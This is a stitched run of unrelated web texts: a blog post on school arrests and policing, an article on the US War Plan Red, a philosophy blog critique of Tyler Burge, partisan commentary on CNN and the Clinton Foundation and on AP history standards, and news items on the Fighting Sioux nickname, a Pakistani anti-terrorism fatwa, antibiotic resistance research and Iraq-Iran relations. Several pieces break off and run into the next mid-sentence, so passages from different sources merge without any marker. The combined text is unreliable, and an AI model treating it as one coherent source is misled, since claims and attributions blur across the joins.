"If the Administration truly believes that President Obama illegally eavesdropped on the Trump campaign and wants our committee to investigate the matter," Schiff said, "they should join my call on Director Comey to answer any question put to him that is pertinent to the Russia investigation."The sickening transformation of these United States into an authoritarian police state with an incarceration rate that would make Joseph Stalin blush, has been a key theme of my writing since well before the launch of Liberty Blitzkrieg. One of the posts that shocked and disturbed readers most, was published a little over a year ago titled: American Police Make an Arrest Every 2 Seconds in 2012. In the event you never read it, I suggest taking a look before tackling the rest of this piece.
Fast forward to fall 2014, and the Wall Street Journal has a powerful article about how children in schools systems across the U.S. are being arrested or turned over to police custody for doing things that children have always done since the beginning of time. Things such as wearing too much perfume, sharing a classmates’ chicken nuggets, throwing an eraser or chewing gum.
As a result of our insane societal obsession with authority and disproportionate punishment, the WSJ reports that “nearly one out of every three American adults are on file in the FBI’s master criminal database.”
USA! USA!
From the Wall Street Journal:
A generation ago, schoolchildren caught fighting in the corridors, sassing a teacher or skipping class might have ended up in detention. Today, there’s a good chance they will end up in police custody. In Texas, a student got a misdemeanor ticket for wearing too much perfume. In Wisconsin, a teen was charged with theft after sharing the chicken nuggets from a classmate’s meal—the classmate was on lunch assistance and sharing it meant the teen had violated the law, authorities said. In Florida, a student conducted a science experiment before the authorization of her teacher; when it went awry she received a felony weapons charge. Over the past 20 years, prompted by changing police tactics and a zero-tolerance attitude toward small crimes, authorities have made more than a quarter of a billion arrests, the Federal Bureau of Investigation estimates. Nearly one out of every three American adults are on file in the FBI’s master criminal database.
Did you catch that too? “Zero-tolerance attitude toward small crimes.” Indeed, the big criminals go to Wall Street, crash the economy and then receive trillions in taxpayer bailouts. Or they get a top job in the Obama Administration, such as Jedi-master of cronyism, Tim Geithner, being chosen as Treasury Secretary.
Back to the WSJ…
At school, talking back or disrupting class can be called disorderly conduct, and a fight can lead to assault and battery charges, said Judith Browne Dianis, executive director of the Advancement Project, a national civil-rights group examining discipline procedures around the country.
If these rules were in place in my day, I would have been arrested about 150 times.
“We’re not talking about criminal behavior,” said Texas State Sen. John Whitmire, the Democratic chair of the senate’s Criminal Justice Committee, who helped pass a new law last year that limits how police officers can ticket students. “I’m talking about school disciplinary issues, throwing an eraser, chewing gum, too much perfume, unbelievable violations” that were resulting in misdemeanor charges. According to the U.S. Education Department’s Office of Civil Rights, 260,000 students were reported, or “referred” in the official language, to law enforcement by schools in 2012, the most-recent available data. The number of school police officers rose 55% to about 19,000 in the 10 years to 2007, the last year for which numbers were available, according to a 2013 study from the Congressional Research Service. The schools crackdown has had its intended effect. Victims’ surveys compiled by the Education Department show that there is a lower rate of violent crime committed in schools, falling to 52 incidents per 100,000 students in 2012 from 181 incidents per 100,000 in 1992.Supporters say that alone proves the worth of aggressive policing.
Well yeah, and pigs in a pen are easily controlled too, but are these the types of children we want to raise?
And what about the downside, such as:Country Color Canada Crimson Great Britain Red Newfoundland Red India Ruby Australia Scarlet New Zealand Garnet Ireland Emerald British Empire (not part of plan) Pink
Joint Army and Navy Basic War Plan Red was a war plan created by the United States Army and Navy in the late 1920s and early 1930s to estimate the requirements for a hypothetical war with Great Britain (the "Red" forces)."[1] War Plan Red discussed the potential for fighting a war with Britain and its Empire and outlined those steps necessary to defend the Atlantic coast against any attempted mainland invasion of the United States. It further discussed fighting a two-front war with both Japan and Britain simultaneously (as envisioned in War Plan Red-Orange). War Plan Red was not operationalized and did not have presidential or Congressional approval. In the U.S. only the Congress can declare war, and it made no war plans. President Herbert Hoover was known as a pacifist.[2]
War Plan Red was developed by the United States Army following the 1927 Geneva Naval Conference and approved in May 1930 by the Secretary of War and the Secretary of Navy and updated in 1934–35. In 1939 on the outbreak of World War II and Britain's war against Nazi Germany, a decision was taken that no further planning was required but that the plan be retained.[3] War Plan Red was not declassified until 1974.
The war plan outlined those actions that would be necessary to initiate war between Britain and the United States. The plan suggested that the British would initially have the upper hand by virtue of the strength of the Royal Navy. The plan further assumed that Britain would probably use its Dominion in Canada as a springboard from which to initiate a retaliatory invasion of the United States. The assumption was taken that at first Britain would fight a defensive battle against invading American forces, but that the US would eventually defeat the British by blockading the United Kingdom and economically isolating it.[4]
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History Edit
War Plan Red was one of a number of U.S. color-coded war plans developed by the U.S. after the First World War. When War Plan Red was declassified in 1974, it caused a stir in American-Canadian relations because Canada, codenamed "Crimson" in the plan, was to have been the principal target of American forces.[2]
Outline Edit
War Plan Red first set out a description of Canada's geography, military resources, and transportation, and went on to evaluate a series of possible pre-emptive American campaigns to invade Canada in several areas and occupy key ports and railways before British troops could provide reinforcement to the Canadians - the assumption being that Britain would use Canada as a staging point. The idea was that the American attacks on Canada would prevent Britain from using Canadian resources, ports, or airbases.[2]
A key move was a joint US army-navy attack to capture the port city of Halifax, cutting off the Canadians from their British allies. Their next objective was to "seize Canadian Power Plants near Niagara Falls"[5] This was to be followed by a full-scale invasion on three fronts: From Vermont to take Montreal and Quebec, from North Dakota to take over the railhead at Winnipeg, and from the Midwest to capture the strategic nickel mines of Ontario. In parallel, the U.S. Navy was to seize the Great Lakes and blockade Canada’s Atlantic and Pacific ports.[2]
Zones of operation Edit
The main zones of operation discussed in the plan are:
Nova Scotia and New Brunswick: Occupying Halifax, following a poison gas first strike, would deny the British a major naval base and cut links between Britain and Canada. The plan considers several land and sea options for the attack and concludes that a landing at St. Margarets Bay, a then undeveloped bay near Halifax, would be superior to a direct assault via the longer overland route. Failing to take Halifax, the U.S. could occupy New Brunswick by land to cut Nova Scotia off from the rest of Canada at the key railway junction at Moncton.
Quebec and the valley of the Saint Lawrence River: Occupying Montreal and Quebec City would cut the remainder of Canada off from the Eastern seaboard, preventing the movement of soldiers and resources in both directions. The routes from northern New York to Montreal and from Vermont to Quebec are both found satisfactory for an offensive, with Quebec being the more critical target.
Ontario and the Great Lakes area: Occupying this region gains control of Toronto and most of Canada's industry, while also preventing Britain and Canada from using it for air or land attacks against the U.S. industrial heartland in the Midwest. The plan proposes simultaneous offensives from Buffalo across the Niagara River, from Detroit into Windsor Ontario, and from Sault Ste. Marie into Sudbury. Controlling the Great Lakes for U.S. transport is considered logistically necessary for a continued invasion.
Winnipeg Winnipeg is a central nexus of the Canadian rail system for connecting the country. The plan sees no major obstacles to an offensive from Grand Forks, North Dakota, to Winnipeg.
Vancouver and Victoria: Although Vancouver's distance from Europe reduces its importance, occupying it would deny Britain a naval base and cut Canada off from the Pacific Ocean. Vancouver could be easily attacked overland from Bellingham, Washington, and Vancouver Island could be attacked by sea from Port Angeles, Washington. The British Columbia port Prince Rupert has a rail connection to the rest of Canada, but a naval blockade is viewed as easy if Vancouver were taken.
No attacks outside Western Hemisphere Edit
Unlike the Rainbow Five plan, War Plan Red did not envision striking outside the Western Hemisphere. The plan assumed that the British Empire would have a much larger army and slightly larger navy. Because of the Empire's historical strength, the United States had traditionally planned for a defensive war with the British. War Plan Red recommended continued use of this strategy even as American military might grow to match Britain's. Its authors saw conquering Canada as the best way to attack the British Empire and believed that doing so would cause Britain to negotiate for peace. A problem with the plan was that it did not discuss how to attack the Empire if Canada declared its neutrality, which the authors believed was likely. (The plan advised against accepting such a declaration without permission to occupy Canadian ports and some land until the war ended.)[6]
Based on extensive war games conducted at the Naval War College, the plan rejected attacking British shipping or attempting to destroy the British fleet. The main American fleet would instead stay in the western North Atlantic to block British-Canadian traffic. The navy would wait for a good opportunity to engage the British fleet, and if successful would then attack British trade and colonies in the Western Hemisphere.[6]
In 1935 War Plan Red was updated and specified which roads to use in the invasion. "The best practicable route to Vancouver is via 99" (Carlson, 2005). Further, in 1935 Americans planned to build three military airfields near the Canadian border and disguise them as civilian airports. "In February 1935, the War Department arranged a Congressional appropriation of $57 million to build three border air bases for the purposes of pre-emptive surprise attacks on Canadian air fields" (Berlin Glasnost, 1992–2007). The airfields were to be kept secret, but their existence was accidentally published by the Government Printing Office and reported on the front page of the New York Times on May 1, 1935.
American war planners had no thoughts of returning captured British territory. "The policy will be to prepare the provinces and territories of CRIMSON and RED to become states and territories of the BLUE union upon the declaration of peace." [7]
British strategy for war against the United States Edit
The Royal Navy never prepared a formal plan for war with the United States during the first half of the 20th century. The government of David Lloyd George in 1919 restricted the navy from doing so to prevent it from using American naval growth to justify building more ships. Like their American counterparts, most Royal Navy officers viewed cooperation with the other nation as the best way to maintain world peace due to the shared culture, language, and goals, although Britons feared that British attempts to regulate trade during a war with another nation might force a war with the United States.[6]
Royal Navy officers generally believed that if war did occur, they could transport an army to Canada if asked, but nonetheless saw it as impossible to defend against the much larger United States, so did not plan to do so, as Canada's loss would not be fatal to Britain. An invasion of the United States was unrealistic and a naval blockade was too slow. The navy could not use a defensive strategy of waiting for the American fleet to cross the Atlantic because Imperial trade was too vulnerable. The Royal Navy officers believed that the United Kingdom was so vulnerable to a blockade that, if a superior American fleet appeared near the British Isles, Britain would quickly surrender. The officers planned to, instead, attack the American fleet from a Western Hemisphere base, likely Bermuda, while other ships based in Canada and the West Indies would attack American shipping and protect Imperial trade. The navy would also bombard coastal bases and make small amphibious assaults. India and Australia would help capture Manila to prevent American attacks on British trade in Asia and perhaps a conquest of Hong Kong. The officers hoped that such acts would result in a stalemate making continued war unpopular in the United States, followed by a negotiated peace.[6]
Canadian counterpart Edit
Canadian military officer Lieutenant Colonel James "Buster" Sutherland Brown developed an earlier counterpart to War Plan Red called Defense Scheme No. 1 on April 12, 1921. Maintaining that the best defense was a good offense, "Buster" Brown planned for rapid deployment of flying columns to occupy Seattle, Great Falls, Minneapolis, and Albany. With no hope of holding these objectives, the idea was to divert American troops to the flanks and away from Canada, hopefully long enough for Imperial allies to arrive with reinforcements. Defence Scheme No. 1 was terminated by Chief of the General Staff Andrew McNaughton in 1928, two years prior to the approval of War Plan Red.
See also Edit
Further reading Edit
Bell, Christopher M., “Thinking the Unthinkable: British and American Naval Strategies for an Anglo-American War, 1918-31”, International History Review, (November 1997) 19#4, 789-808.
, (November 1997) 19#4, 789-808. Holt, Thaddeus, "Joint Plan Red", in MHQ: The Quarterly Journal of Military History, Vol. 1 no. 1.
, Vol. 1 no. 1. Major, John. "War Plan Red: The American Plan for War with Britain," Historian (1998) 58#1 pp 12–15.
(1998) 58#1 pp 12–15. Preston, Richard A. The Defence of the Undefended Border: Planning for War in North America 1867-1939. Montreal and London: McGill-Queen's University Press, 1977.
. Montreal and London: McGill-Queen's University Press, 1977. Rudmin, Floyd W. Bordering on Aggression: Evidence of U.S. Military Preparations Against Canada. (1993). Voyageur Publishing. ISBN 0-921842-09-0I recently reread Tyler Burge’s “Our Entitlement to Self-knowledge” (1996). Burge argues that our capacity for critical reasoning entails a capacity for self-knowledge.
Like a lot of philosophy, this paper is barely connected to the relevant science. So when I find myself disagreeing with the authors’ assumptions, I’m not sure whether the disagreement matters. After all, we might disagree because we have different, unfalsifiable intuitions. But if we disagree about facts, then it matters: one of us is demonstrably wrong. In this post I will articulate my disagreement. I will also try to figure out whether it matters.
One more disclaimer. Frankly, I am not sure what Burge means by ‘critical reasoning’ (more on that in a sec). But Burge treats it as roughly synonymous with ‘reflection’. And that term has been defined sufficiently for our purposes, so I will often use ‘reflection’ and ‘reflective reasoning’ to refer to “critical reasoning” in this post.
1. Reflection Confers Control and Rationality?
The main thrust of Burge’s paper is that critical reasoning requires self-knowledge. That follows from a modus tollens argument.
<
p style=”padding-left: 30px;”>P1. If critical reasoning didn’t entail self-knowledge, then critical reasoning would not add rationality to reasoning.
P2: But critical reasoning does add rationality to our reasoning.
C1: So critical reasoning entails self-knowledge.
I am getting that argument from the passage below (p. 101, underlining added), by the way.
If one’s judgments about one’s attitudes or inferences were not reasonable — if one had no epistemic entitlement to them — one’s reflection on one’s attitudes and their interrelations could add no rational element to the reasonability of the whole process. But reflection does add a rational element to the reasonability of reasoning. It gives one some rational control over one’s reasoning.
I have two concerns about this argument.
Feeling of Control ⊅ Control and/or Rationality
Suppose that reflection involves conscious access. Conscious access often gives us a feeling of control. And if that feeling is what Burge means by ‘control’, then we are in agreement. But if by ‘control’ Burge means causal (i.e., difference-making) control, then I would want to know why. After all, feeling in control does not entail actually exerting control (Wegner 2007).
But let’s assume that we agree that ‘control’ refers only to a feeling of control. It still wouldn’t follow that feeling in control adds a rational element. After all, we often reason badly even when we feel like we are in control of our reasoning — e.g., political reasoning. So perhaps the feeling of control adds the mere possibility of a rational element. In that case, Burge’s argument would entail only the possibility of self-knowledge.
Domain-general vs. Domain-specific Rationality
Second, I grant that reflection is often useful. But reflection is often (and systematically) not useful. And that fact is difficult to reject or explain away (see this post for more on that). But even if we did explain it away, ‘useful’ might not entail ‘rational’. So I am not yet inclined to accept the idea that reflection is generally more rational than its unreflective counterparts.
And I am not alone. This is one of the now famous objections to a dogma about reflective reasoning (Stanovich and Evans 2013): Reflective reasoning is rational/useful in some domains and/or for some individuals, but reflection is not generally more rational than unreflective reasoning.
2. Reflective Reasoning is Normally True?
But imagine that my questions about rational control were assuaged. I’d still have reservations about the use of ‘true’ below (102):
If reflective judgments were not normally true, reflection could not add to the rational coherence or add a rational component to the reasonability of the whole process.
What does Burge mean by ‘truth’? Does it matter?
I am not inclined to talk about the epistemic value of reflection in terms of truth. Like Stich in Fragmentation of Reason (1990, chapter 5) I often wonder what people mean by ‘truth’. And, like Stich, I think that if what people mean by ‘truth’ is something like Tarski’s ‘truth’, then I don’t think we actually care as much about that as we do about more pragmatic concerns.
But don’t get me wrong. Pragmatism is consistent with caring about the truth — at least sometimes. For example, in the domains in which ‘truth’ is meaningful and we care most about it, then we should care about the truth-conduciveness of our reasoning. But notice that this kind of concern for truth reduces to pragmatic concerns.
3. Counterresponses
Burge might respond to me by pointing out that my claims entail that critical reasoning is not possible — and that that is bad. If this was Burge’s response, then two counter-responses would come immediately to mind:
What exactly is ‘critical reasoning’?
After trying to understand ‘critical reasoning’ three times now, I am not sure exactly what it is.
…critical reasoning just is reasoning in which norms of reason apply to how attitudes should be affected partly on the basis of reasoning that derives from judgments about one’s attitudes (102). …critical reasoning is carried out within a single multi-level point of view (112).
Here’s what seems clear: critical reasoning is a kind of reasoning that involves applying norms to one’s attitudes. But this leaves a lot of relevant questions unanswered.
Does critical reasoning entail being conscious of the norms being applied and the attitudes to which they are applied? It’s not obvious to me that it does. And is knowing these attitudes entailed by (or identical to) merely consciously representing them? Again. It’s not obvious. And (again) does critical reasoning involve actual control over our attitudes or merely a feeling of control? Finally, what the heck is “a single multi-level point of view”?
Depending on Burge’s answers to these questions, I might already believe that critical reasoning is impossible. But until Burge answered these questions, I would be unsure what he thinks is supposed to be impossible on my view.
Is critical reasoning realistic?
Depending on what ‘critical reasoning’ refers to, I might have another question: Why believe that “critical reasoning does occur among us”? (p. 103) After all, if that turns out to be an implausible claim, then I would not be worried about denying it. And part of Burge’s notion of critical reasoning is implausible: that self-knowledge can be rationally immediate. So perhaps I do not need to be worried about the impossibility of critical reasoning.
In critical reasoning, …one’s relation to the known attitudes is rationally immediate: they are part of the perspective of the review itself (113).
Given how the brain works, I do not understand how anything can be immediate. Every neural process is influenced by contemporaneous processing in nearby (and sometimes not-so-nearby) neurons. So all cognition (and perception) would seem to be inferential and penetrated — i.e., the opposite of immediate. And if reasoning is never immediate, then I’m not sure why it would be rationally immediate.
4. Summary
I appreciate Burge’s explanation of how self-knowledge might be relevant to some sort of reflective reasoning. But I cannot yet agree with the relevance that Burge has in mind. To know whether I agree, I’d need to hear more about what Burge means by ‘control’, ‘truth’, ‘critical reasoning’, and ‘immediate’.
None of these comments are condemnatory, of course. Expecting authors to be perfectly clear is unrealistic. And expecting readers to fully understand authors with just one paper’s worth of writing is also unrealistic. So I am not being disingenuous when I claim that “I need to hear more.”
Related PostsOn the heels of media types like Chris Matthews assuring the American people that the Clinton Foundation is so “great” that his son used to work there, the Wednesday edition of CNN’s Legal View went even further in providing pro-Clinton spin that the foundation has “good governance and accountability” placing it as a “gold star” charity along the likes of Doctors Without Borders and the American Red Cross.
If that wasn’t enough, host Ashleigh Banfield and CharityWatch president Daniel Borochoff ignored poor rankings for the Clinton Foundation on sites like Charity Navigator and went full James Carville, forewarning critics that “people are going to die” if it shuts down.
Banfield returned from commercial break with a proclamation before welcoming on Borochoff that could have been written by Clinton campaign headquarters: “In the philanthropic world, the Clinton Foundation ranks about as high as can you get for a charity. Guide Star gave it a platinum rating and CharityWatch gave it an A.”
Borochoff himself went onto respond that the Clintons run “an excellent charity” and are among the few “A”-rated charities:
The Clinton Foundation is an excellent charity. They’re able to get 88 percent of their spending to bona fide program services and their fund-raising efficiency is really low, only costing them $2 to raise $100. They are out there with other charities such as Doctors Without Borders, Salvation Army, the American Red Cross.
The aforementioned CNN host made a weak case to show balance by reading from Wednesday’s editorial in USA Today urging the Clinton Foundation to wind down operations, but quickly teed up Borochoff to channel James Carville from Tuesday’s Morning Joe to warn that people will die if the Clinton Foundation shuts down.
“The political casualties of what some have called a scorched earth campaign against the Clinton Foundation, who’s going to be hurt the most,” Banfield fretted.
Borochoff obliged and predicted that people will die without money and medical care from the Clinton Foundation if people don’t “pull the election politics out of the equation here”: “Well, the people, will the millions of people that get reduced — cross — you know, medical, pills for like AIDS and there's all kind of programs they do that help millions of people and people are going to die unless people get the help.”
Without taking into account the fact that donors may be giving money not to help disaffected people but giving money to please the Clintons and secure access with them, Borochoff hailed the web of connections between the Clintons and both public and private individuals as “an excellent charity”:
So, you got to look at it from the metrics of they have good governance and accountability. They have great financial efficiency. They have valuable important programs that help a lot of people in the world. Pull the politics out. Regardless of what you think about Hillary, you know, the Clinton Foundation is an excellent charity.
To close out the lecture to the peons questioning the Clinton Foundation, Banfield gushed that “[i]t’s a gold star” and implored viewers to “remember, it is a charity” (with no mention of how just because a group says it’s a charity means that could be a sham or less than stellar).
The transcript of the segment from CNN’s Legal View with Ashleigh Banfield on August 24 can be found below.The repeated assaults on American History by the College Board’s Advanced Placement exam is not just an attack on American History, but of Western Civilization itself. Repeated concerns over the purging from Western Civilization the cultural and intellectual heritage have fallen on deaf ears.
Instead of teaching about history, or even praising the venerable heritage of Western Civilization, the AP test, which dictates what teacher must teach if students are to pass said test, doubles down on the narrative of immanentizing the eschaton by eschewing the axiomatically declared evil past. For example:
1) No Liberty. Above all, the College Board failed to include liberty. The words liberty and freedom are still almost absent from its standards, and there is no sense that the struggle for liberty is a central thread of European history. 2) No Economic Freedom. The College Board failed to include economic liberty. The revised standards still avoid a straightforward discussion of the principles, institutions, and benefits of economic liberty. 3) No History of Modern Knowledge. The College Board failed to incorporate the history of Europe’s unique development of the architecture of modern knowledge—from astronomy to geology in the natural sciences, and from art history to sociology in the humanities and social sciences. 4) No Acknowledgment of Soviet Genocide. The College Board’s description of Soviet history still pulls its punches by failing to state explicitly that the regime committed starvation-genocide of the Ukrainians, and smaller genocides and ethnic cleansings of nations including Balts, Tatars, and Poles. 5) No Columbus. The College Board failed to shift from an emphasis on the inevitabilities of social and economic history to an emphasis on contingency and individual endeavor. Strange absences therefore persist, such as the names of individual explorers such as Christopher Columbus. 6) No Reason to Learn Europe’s History. The College Board failed to argue that European history is exceptional, important, or interesting in itself, failed to give a reason why students should study Europe’s history in particular, and failed to mention that Americans should study Europe’s past because it is our history. 7) Secular Modernization Is Still the Story. The College Board failed to remove its overall narrative of secular modernization.
The new—and fundamentally different—edifice of society can not be built unless the last remnants of the old are swept away. Europe is certainly headed towards that, but to these fundamental transformationists, not even a whiff the past may be allowed to remain lest it corrupt this new visage of utopia.
This will not end well…
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Lake member. “The school deserves to use our name. We should take pride in that. There’s nothing wrong with that.”
(See the top 10 sports moments of 2011.)
Standing Rock’s tribal council has voted to eliminate the name. The council, however, has not put the question to a full tribal vote, to the dismay of Standing Rock members who like the Fighting Sioux. “Aw, man, it’s not right for people not to have a say,” says Archie D. Fool Bear, a member of Standing Rock. Fool Bear says he has petition signatures from 1,000 Standing Rock residents opposing the nickname change, and he is confident his side would prevail in a full vote. Calls to the home and office of Charlie Murphy, chairman of the Standing Rock tribal council, were not returned.
Other Native American tribal councils, from both Sioux nations and non-Sioux nations like North Dakota’s Turtle Mountain Band of Chippewa Indians, have passed resolutions stating their opposition to the Fighting Sioux name and logo. To which Black Cloud responds: Butt out. “We, as tribal members and Sioux, we don’t tell other tribes what to do,” he says. “We would expect that same respect from them as well.” Opponents of the nickname cite instances in which the Sioux logo was defaced on T-shirts worn by supporters of North Dakota State, UND’s archrival. “Those are isolated incidents that people like to exploit to say that’s the norm,” says Black Cloud. “There are several thousand events that happen where the name is held in high respect and high regard.”
In August, top UND officials and state lawmakers, including Governor Jack Dalrymple, met with the NCAA in Indianapolis. There, they asked the organization to reconsider its stance on the Fighting Sioux name. Spirit Lake was not asked to participate. “How can we not have a seat at the table?” asks Black Cloud.
In response to an interview request, NCAA spokesman Erik Christianson wrote in an e-mail, “The settlement between the NCAA and the university gave the university three years to obtain agreement from the tribes. That did not occur. The policy does not require a change in nickname or logo. That is a university decision. But without a change, the university cannot host a championship or display the nickname or logo at a championship.”
After that meeting, at which the NCAA made clear that UND would face sanctions if the nickname wasn’t changed and the logo wasn’t removed, the North Dakota legislature repealed the April law keeping the Fighting Sioux name on the books. “The directive from the State Board of Higher Education is to transition away from the nickname and logo,” says Peter Johnson, a UND spokesman. “At this point in time, that’s the best thing for our athletic programs. There’s no question about that.”
(Watch TIME’s video “The Best NCAA Upset.”)
Fighting Sioux supporters argue that the NCAA is violating their religious rights. The Grand Forks Herald reported on July 21, 1969, that “a band of Standing Rock Sioux formally gave UND teams the right to use the name of ‘Fighting Sioux’ for their athletic teams.” Black Cloud insists that Spirit Lake members also took part in this ritual blessing. (UND recognizes that a ceremony took place but says the intent of it remains unclear.) So why should a current tribal council, the NCAA or anyone else reverse the wishes of the elders who are so respected in Native American culture? “If we let an outside entity dictate to us how we should feel about our sacred ceremonies,” says Black Cloud, “what does that say about us?”
The NCAA has plenty of issues to worry about, most importantly melding academics and athletics. Isn’t the organization picking the wrong fight here? According to UND, a public university, the estimated cost of selecting a new nickname, removing the Fighting Sioux logo from athletic facilities across campus and ordering new equipment and apparel without the Fighting Sioux logo would be at least $750,000.
Spirit Lake and the 1,000 nickname supporters from the Standing Rock tribe recently filed a federal lawsuit against the NCAA, claiming violation of religious rights. Black Cloud is also leading an effort to repeal the repeal of the state law keeping the Fighting Sioux name in place. “We fight for what Spirit Lake wants,” says Black Cloud. “Why is the NCAA ignoring us? We are a sovereign nation. The name is an enormous source of pride. To have that taken away from us — it’s more hurtful than you can possibly understand.”Sheikh to Terrorists: Go to Hell
Pakistani newspapers recently picked up an intriguing story from the country’s security establishment. Reporters learned that their government had intercepted a secret message circulating within Tehrik-e-Taliban, the most prominent of several militant groups trying to overthrow the government in Islamabad. The jihadists, it seemed, had just added a new target to one of their death lists. His name is Tahir ul-Qadri, and he’s no government official. He’s one of Pakistan’s leading Islamic scholars, an authority on the Quran and Islamic religious law.
It’s no wonder the terrorists want to see Qadri dead. Last month he promulgated a 600-page legal ruling, a fatwa, that condemns terrorism as un-Islamic. A few Western media outlets gave the news a nod, but the coverage quickly petered out. And that’s a pity, because the story of this fatwa is just beginning to get interesting. "I have declared a jihad against terrorism," says the 59-year-old Qadri in an interview. "I am trying to bring [the terrorists] back towards humanism. This is a jihad against brutality, to bring them back towards normality. This is an intellectual jihad." This isn’t empty rhetoric. Last year militants killed one of Qadri’s colleagues, a scholar named Sarfraz Ahmed Naeem, for expressing similar positions.
This isn’t the first time that a Muslim jurisprudent has denounced suicide bombings as contrary to the spirit of Islam. But Qadri’s ruling represents an important precedent nonetheless — one that could well contribute to the struggle between the suicide bombers (and those who support them) and a more moderate brand of Islamic politics. Many Muslim scholars before Qadri, of course, have denounced terrorism. What makes him significant is the uncompromising rigor of his vision, which deploys a vast array of classical Islamic sources to support the case that those who commit terrorist acts are absolutely beyond the pale. He’s especially keen on targeting the coming generation, younger members of the global ummah (the community of believers) who — he contends — have lost their bearings in the roiled post-9/11 world.
Qadri’s fatwa aims to establish a bit of healthy clarity. His finding, which builds its argument around a meticulous reading of the Quran and the hadith (collections of oral statements attributed to the Prophet Mohammed), makes the case that terrorist acts run completely counter to Islamic teaching. While quite a few scholars before have condemned terrorism as haram (forbidden), the new fatwa categorically declares it to be no less than kufr (acts of disbelief). "There was a need," says Qadri, "to address this issue authentically, with full authority, with all relevant Quranic authority — so that [the terrorists] realize that whatever they’ve been taught is absolutely wrong and that they’re going to hellfire. They’re not going to have paradise, and they’re not going to have 72 virgins in heaven. They’re totally on the wrong side."
So it’s not too hard to imagine why the Taliban aren’t amused. "Qadri has been very bold in saying that these terrorists are awaited in hell," says Hassan Abbas, a Pakistani scholar at Harvard University’s Belfer Center. "He is clearly provocative, in a positive sense, and this courageous act is also noteworthy." He notes that the fatwa includes a number of specific criticisms of the conservative Deoband movement, whose teachings underlie many of the militant Islamic groups in South Asia — something that has angered many of the Deobandis. (Qadri himself is a prominent representative of the Barelvi school of Sunni Islam — a Sufi-influenced group that, says Abbas, has historically outnumbered the Deobandis in Pakistan.) But few of the hard-core jihadis are likely to be swayed by Qadri’s formidable scholarly credentials. It’s a different constituency that Qadri has in mind — namely the wavering middle.
Abbas, who describes himself as a member of that Muslim mainstream, says that Qadri’s decision to announce the fatwa’s publication in London rather than back home in Pakistan might have diminished its initial impact a bit. "Interestingly, the fatwa has generated a debate in the blogosphere — among young Muslims living in the West," he says. "I think that can potentially be the most important contribution of this work in the short and medium term. The fact that so many of his speeches and lectures are available online (including on YouTube) indicates that he is listened to globally and especially by educated Muslims." It also hasn’t stopped the fatwa (originally written in Urdu) from gaining attention in publications ranging from the Middle East to the Philippines — attention that is likely to build as the entire weighty work gradually finds its way into relevant languages. (The full English translation of the fatwa, for example, has only just been completed. Qadri’s aides are still on the lookout for a proper publisher in the West.)
Could it be that some onlookers are making too much of the whole thing? Ahmed Quraishi, a conservative Pakistani commentator based in Islamabad, disputes Qadri’s influence, political or otherwise. Other scholars before Qadri have condemned suicide bombings, he insists. "Suicide is outlawed in Islam through clear injunctions in the Quran," says Quraishi. "But fighting and dying in self-defense is not. In fact, it is encouraged. So when a Muslim scholar comes out and says, ‘suicide attacks are haram,’ you need to see the finer print. It is outlawed if it means killing the innocent. But it is not if it means attacking invaders or occupiers."
That, indeed, is what many have argued before. Yet one of the things that makes Qadri’s fatwa so compelling is precisely that it sweeps aside such logic. The claim that terror is a legitimate or excusable response to oppression is, according to Qadri’s finding, an "awful syllogism" because "evil cannot become good under any circumstances." (To be sure, he also denounces occupation and acts of aggression against Islam — but insists that they must be resisted peaceably wherever possible and strictly according to the laws of war where not.) What’s more, as noted earlier, Qadri goes well beyond declaring terrorist acts to be merely "forbidden." In his view they’re a manifestation of disbelief, not just a profound sin but a veritable denial of Islam.
This is, in a word, pretty strong stuff — additional evidence, if any were needed, that the so-called "war on terror" pales beside the war within Islam itself, the continuing, subtle, and utterly vital struggle for the soul of the faith. So it will be worth keeping an eye on the impact these 600 pages will have on Islam’s restless minds in the years to come. "The real contribution of the fatwa cannot be evident in a matter of a few weeks," argues Abbas. "The message will go out slowly." But go out it will. Stay tuned.It is estimated that each year in the United States 2 million people become infected with bacteria that are resistant to one or more types of antibiotics, and at least 23,000 people will die because of these infections. This problem is being exacerbated by overuse of antibiotics for livestock and also in community clinical practice. This overuse, combined with the slow pace of novel drug discovery is a growing threat to public health. In response to this, Moffitt Cancer Center researchers have developed a novel mathematical method inspired by Darwinian evolution to use current antibiotics to eliminate or reduce the development of antibiotic-resistant bacteria.
According to the Centers for Disease Control, one of the core actions that can be taken to fight antibiotic-resistant infections is to improve the use of antibiotics that currently exist. One approach to achieve this is by using different combinations or sequences of antibiotics; however, given the high number of antibiotics in existence, it would be extremely difficult to experimentally identify the best combination or sequence of drugs.
Moffitt researchers overcame this problem by developing a novel mathematical approach to analyze antibiotic resistance. They showed that the ability of the bacterium E. coli to survive in antibiotics could be either promoted or hindered depending on the sequence of antibiotics given. They discovered that approximately 70 percent of different sequences of 2 to 4 antibiotics lead to resistance to the final drug.
"Our results suggest that, through careful ordering of antibiotics, we may be able to steer evolution to a dead end from which resistance cannot emerge," said Daniel Nichol, lead author and graduate student jointly in the Oxford University Department of Computer Science and Moffitt's Department of Integrated Mathematical Oncology.
"Our results can be easily tested in the laboratory, and if validated could be used in clinical trials immediately, as all of the compounds we studied are FDA approved and commonly prescribed," said Jacob G. Scott, M.D., senior author and member of Moffitt's Radiation Oncology and Integrated Mathematical Oncology Departments.
The researchers explained that their results also serve as a caution to healthcare workers, as the careless or random prescription of drugs that occurs could inadvertently lead to antibiotic resistance.
"While I'm an oncologist, the problem of the evolution of resistance to antibiotics is completely analogous to that of cancer's evolution of resistance to targeted therapy, and the mathematical model we've used can be applied to both situations. Our next efforts are jointly focused on targeted therapy in lung cancer as well as on validating our existing results in bacteria," said Scott.
The study was published online in the journal PLoS Computational Biology. Funding support was received through the Engineering and Physical Sciences Research Council (OUCL/DN/2013 and EP/I017909/1), the National Institutes of Health Loan Repayment Program, the National Cancer Institute Integrative Cancer Biology Program (U54 CA113007), the National Cancer Institute Physical Sciences in Oncology Centers (U54 CA143970), the Veterans Affairs Merit Review Program, the National Institutes of Health (AI072219-05, AI063517-07) and the Geriatric Research Education and Clinical Center VISN 10.Iraq is grateful for Iran's help in fighting the Islamic State, but rejects any interference by Tehran in its affairs, Foreign Minister Ibrahim al-Jaafari said Friday.
In an appearance at the Council on Foreign Relations, Jaafari, a Shiite Muslim former prime minister, spent most of his time fending off U.S. concerns about Iran's growing involvement in his country over the year-long war against the Islamic State, which has seized control of about a third of Iraq's territory.
Fox News reported Friday that Iran, along with Russia and Syria, have set up a military coordination cell in Baghdad to assist in the fight.
"Iraq is not part of Iran. Iraq is not an Iranian province," Jaafari said. "Iran has no right to make decisions on behalf of Iraq. We accept help, but we do not accept interference or violations of our sovereignty."
